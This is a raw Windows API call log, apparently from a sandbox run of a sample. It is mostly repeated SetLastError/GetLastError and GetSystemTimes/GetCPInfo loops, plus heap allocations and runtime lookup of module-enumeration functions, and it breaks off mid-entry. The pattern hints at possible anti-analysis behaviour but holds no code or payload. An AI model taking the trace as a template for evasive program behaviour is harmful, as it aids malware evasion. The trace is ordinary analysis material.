[0052.093] SetLastError (dwErrCode=0x0) [0052.093] GetLastError () returned 0x0 [0052.093] SetLastError (dwErrCode=0x0) [0052.093] GetLastError () returned 0x0 [0052.093] SetLastError (dwErrCode=0x0) [0052.093] GetLastError () returned 0x0 [0052.093] SetLastError (dwErrCode=0x0) [0052.149] GetLastError () returned 0x0 [0052.149] SetLastError (dwErrCode=0x0) [0052.149] GetLastError () returned 0x0 [0052.149] SetLastError (dwErrCode=0x0) [0052.149] GetLastError () returned 0x0 [0052.158] SetLastError (dwErrCode=0x0) [0052.160] GetLastError () returned 0x0 [0052.185] SetLastError (dwErrCode=0x0) [0052.185] GetLastError () returned 0x0 [0052.185] SetLastError (dwErrCode=0x0) [0052.185] GetLastError () returned 0x0 [0052.185] SetLastError (dwErrCode=0x0) [0052.185] GetLastError () returned 0x0 [0052.185] SetLastError (dwErrCode=0x0) [0052.185] GetLastError () returned 0x0 [0052.185] SetLastError (dwErrCode=0x0) [0052.185] GetLastError () returned 0x0 [0052.185] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.186] SetLastError (dwErrCode=0x0) [0052.186] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.187] SetLastError (dwErrCode=0x0) [0052.187] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.188] SetLastError (dwErrCode=0x0) [0052.188] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.189] GetLastError () returned 0x0 [0052.189] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.190] GetLastError () returned 0x0 [0052.190] SetLastError (dwErrCode=0x0) [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x98) returned 0x2b1a10 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1f) returned 0x2b1ab0 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x36) returned 0x2b1ad8 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x37) returned 0x2b1b18 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2b1b58 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x31) returned 0x2b1ba0 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x17) returned 0x2b1be0 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2b1c00 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x14) returned 0x2b1c30 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xd) returned 0x2b1c50 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x25) returned 0x2b1c68 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x39) returned 0x2b1c98 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2b1ce0 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x17) returned 0x2b1d00 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xe) returned 0x2b1d20 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x69) returned 0x2b1d38 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3e) returned 0x2b1db0 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1b) returned 0x2b1df8 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1d) returned 0x2b1e20 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x48) returned 0x2b1e48 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x12) returned 0x2b1e98 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2b1eb8 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1b) returned 0x2b1ed8 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2b1f00 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x29) returned 0x2b1f30 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1e) returned 0x2b1f68 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x41) returned 0x2b1f90 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x17) returned 0x2b1fe8 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xf) returned 0x2b2008 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x16) returned 0x2b2020 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2b2040 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x29) returned 0x2b2078 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x15) returned 0x2b20b0 [0052.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1e) returned 0x2b20d0 [0052.192] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2b20f8 [0052.192] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x12) returned 0x2b2130 [0052.192] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2b2150 [0052.192] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x46) returned 0x2b2170 [0052.192] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2b11f8 | out: hHeap=0x2b0000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x800) returned 0x2b21c0 [0052.193] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x80) returned 0x2b11f8 [0052.193] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0052.193] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2b11f8) returned 0x80 [0052.193] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.193] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0052.194] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0052.194] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0052.195] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0052.196] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0052.196] GetTickCount () returned 0x1bce8 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.196] GetACP () returned 0x4e4 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.196] GetACP () returned 0x4e4 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.196] GetACP () returned 0x4e4 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.196] GetACP () returned 0x4e4 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.196] GetACP () returned 0x4e4 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.196] GetACP () returned 0x4e4 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.196] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.196] GetACP () returned 0x4e4 [0052.196] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.197] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.197] GetACP () returned 0x4e4 [0052.197] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.198] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.198] GetACP () returned 0x4e4 [0052.198] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.199] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.199] GetACP () returned 0x4e4 [0052.199] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.200] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.200] GetACP () returned 0x4e4 [0052.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.201] GetACP () returned 0x4e4 [0052.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: 